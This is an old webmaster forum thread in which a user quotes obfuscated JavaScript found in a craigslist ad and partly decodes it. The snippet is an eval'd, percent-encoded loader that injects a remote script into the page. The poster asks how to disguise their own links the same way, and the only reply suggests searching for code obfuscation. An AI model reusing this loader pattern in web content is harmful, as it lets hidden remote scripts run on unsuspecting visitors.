Welcome to WebmasterWorld Guest from

Forum Moderators: open

Message Too Old, No Replies

I saw this on craigslist

Craigslist xml

8:18 pm on Jun 23, 2007 (gmt 0)

New User

10+ Year Member

joined:Apr 10, 2006
votes: 0

Hiya all, I saw this code in the source of a craigslist ad

<xml ondatasetchanged="vagxf='%76%61%72%20%6a%70%67%32%32%35%37%34
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

I translated it to this..

<xml ondatasetchanged="vagxf='var jpg2257424850=document.createElement("script"); jpg2257424850.setAttribute("src", z("http://www.craigslist.org/?22921721722127528285287218287221229221270")); document.body.appendChild(jpg2257424850);function z(s){var o="",i,p,q="";for(i=s.indexOf("?")+1;i<=s.length-3;i+=3)
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

As I'm more of a web promoter than a developer, I was wondering what was going on? The original ad was just a click link in an ad. How can I package my click links like this?
Thanks in advance.

[edited by: encyclo at 5:56 pm (utc) on June 24, 2007]
[edit reason] shortened code and fixed side-scroll [/edit]

8:55 pm on June 23, 2007 (gmt 0)

Senior Member from US 

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month

joined:Sept 4, 2001
posts: 2241
votes: 46

Try a search for "code obfustication"